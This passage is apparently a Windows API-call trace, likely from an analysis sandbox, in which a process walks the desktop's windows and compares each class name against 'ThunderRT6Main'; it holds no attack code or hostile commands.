lpString2="ThunderRT6Main") returned -1 [0112.895] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0112.895] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x20216 [0112.896] GetClassNameA (in: hWnd=0x20216, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0112.896] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0112.896] GetWindowThreadProcessId (in: hWnd=0x20216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.896] GetWindowLongA (hWnd=0x20216, nIndex=-16) returned -2080374784 [0112.896] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0112.896] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0112.896] GetWindow (hWnd=0x20216, uCmd=0x2) returned 0x20206 [0112.896] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0112.896] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0112.896] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.896] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145 [0112.896] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4 [0112.896] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0112.896] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0112.896] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0112.896] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145 [0112.896] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10196 [0112.896] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Litwindow") returned 9 [0112.896] lstrcmpA (lpString1="Litwindow", lpString2="ThunderRT6Main") returned -1 [0112.896] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0112.896] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10198 [0112.896] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.896] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.896] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0112.896] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10192 [0112.896] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Fed_bodies_wnd") returned 14 [0112.896] lstrcmpA (lpString1="Fed_bodies_wnd", lpString2="ThunderRT6Main") returned -1 [0112.896] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0112.896] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0112.896] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.896] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.896] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0112.896] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0112.896] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="mauitellingWeightapp") returned 20 [0112.896] lstrcmpA (lpString1="mauitellingWeightapp", lpString2="ThunderRT6Main") returned -1 [0112.896] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0112.896] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0112.896] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.896] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.897] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0112.897] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0112.897] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Buriedpositioncls") returned 17 [0112.897] lstrcmpA (lpString1="Buriedpositioncls", lpString2="ThunderRT6Main") returned -1 [0112.897] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0112.897] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0112.897] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.897] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.897] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0112.897] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0112.897] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="translations_Massive_Mp_app") returned 27 [0112.897] lstrcmpA (lpString1="translations_Massive_Mp_app", lpString2="ThunderRT6Main") returned 1 [0112.897] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0112.897] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0112.897] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.897] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.897] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0112.897] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0112.897] GetClassNameA (in: hWnd=0x10182, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="vendor_win") returned 10 [0112.897] lstrcmpA (lpString1="vendor_win", lpString2="ThunderRT6Main") returned 1 [0112.897] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0112.897] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0112.897] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.897] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.897] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0112.897] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0112.897] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Uniformphotographwin") returned 20 [0112.897] lstrcmpA (lpString1="Uniformphotographwin", lpString2="ThunderRT6Main") returned 1 [0112.897] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0112.897] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0112.897] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.897] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.897] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0112.897] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0112.897] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="filingsunriseIdentificationwin") returned 30 [0112.897] lstrcmpA (lpString1="filingsunriseIdentificationwin", lpString2="ThunderRT6Main") returned -1 [0112.898] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0112.898] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0112.898] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.898] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.898] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0112.898] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0112.898] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Alt_wnd") returned 7 [0112.898] lstrcmpA (lpString1="Alt_wnd", lpString2="ThunderRT6Main") returned -1 [0112.898] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0112.898] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0112.898] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.898] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.898] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0112.898] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0112.898] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="testVotingdistributedwin") returned 24 [0112.898] lstrcmpA (lpString1="testVotingdistributedwin", lpString2="ThunderRT6Main") returned -1 [0112.898] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0112.898] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0112.898] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.898] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.898] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0112.898] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0112.898] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="saferwin") returned 8 [0112.898] lstrcmpA (lpString1="saferwin", lpString2="ThunderRT6Main") returned -1 [0112.898] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0112.898] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0112.898] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.898] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.898] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0112.898] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0112.898] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="fancyInitiallywindow") returned 20 [0112.898] lstrcmpA (lpString1="fancyInitiallywindow", lpString2="ThunderRT6Main") returned -1 [0112.898] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0112.898] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0112.898] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.898] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.899] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0112.899] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0112.899] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="remove_Thu_Annotation_wnd") returned 25 [0112.899] lstrcmpA (lpString1="remove_Thu_Annotation_wnd", lpString2="ThunderRT6Main") returned -1 [0112.899] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0112.899] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0112.899] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.899] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.899] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0112.899] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0112.899] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="pinelaboratoriesreferencedwin") returned 29 [0112.899] lstrcmpA (lpString1="pinelaboratoriesreferencedwin", lpString2="ThunderRT6Main") returned -1 [0112.899] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0112.899] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0112.899] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.899] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.899] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0112.899] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0112.899] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Matches_wnd") returned 11 [0112.899] lstrcmpA (lpString1="Matches_wnd", lpString2="ThunderRT6Main") returned -1 [0112.899] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0112.899] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0112.899] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.899] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.899] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0112.899] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0112.899] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Fresh_cn_Eggs_wnd") returned 17 [0112.899] lstrcmpA (lpString1="Fresh_cn_Eggs_wnd", lpString2="ThunderRT6Main") returned -1 [0112.899] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0112.899] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0112.899] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.899] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.899] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0112.899] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x10156 [0112.899] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="what_Volkswagen_app") returned 19 [0112.899] lstrcmpA (lpString1="what_Volkswagen_app", lpString2="ThunderRT6Main") returned 1 [0112.899] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0112.900] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158 [0112.900] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.900] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.900] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0112.900] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x3010a [0112.900] GetClassNameA (in: hWnd=0x3010a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="commit_Newman_Rings_win") returned 23 [0112.900] lstrcmpA (lpString1="commit_Newman_Rings_win", lpString2="ThunderRT6Main") returned -1 [0112.900] GetWindowThreadProcessId (in: hWnd=0x3010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0112.900] GetWindow (hWnd=0x3010a, uCmd=0x2) returned 0x90154 [0112.900] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.900] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.900] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0112.901] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x20116 [0112.901] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0112.901] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0112.901] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0112.901] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0112.901] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0112.901] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0112.901] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0112.901] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0112.901] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0112.901] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0112.901] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0112.901] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0112.901] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0112.901] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0112.901] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0112.901] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0112.901] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0112.901] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0112.901] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0112.901] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0112.901] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.901] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.901] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0112.901] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0112.901] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0112.901] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0112.901] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0112.901] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0112.901] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.901] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.901] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0112.902] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0112.902] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0112.902] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0112.902] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0112.902] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0112.902] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.902] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.902] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0112.902] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0112.902] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0112.902] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0112.902] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0112.902] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0112.902] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.902] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.902] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.902] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0112.902] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0112.902] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0112.902] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.902] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0112.902] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0112.902] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0112.902] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.902] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0112.902] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.902] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.902] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.902] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0112.902] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.902] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.902] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.903] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0112.903] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.903] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.903] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.903] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0112.903] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0112.903] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0112.903] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.903] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0112.903] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0112.903] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0112.903] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0112.903] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0112.903] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.903] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.903] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0112.903] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0112.903] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0112.903] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0112.903] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0112.903] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0112.903] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.903] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.903] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0112.903] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0112.903] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0112.903] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0112.903] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0112.903] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0112.903] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.904] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.904] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0112.904] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0112.904] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0112.904] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0112.904] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0112.904] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0112.904] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0112.904] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0112.904] GetWindowThreadProcessId 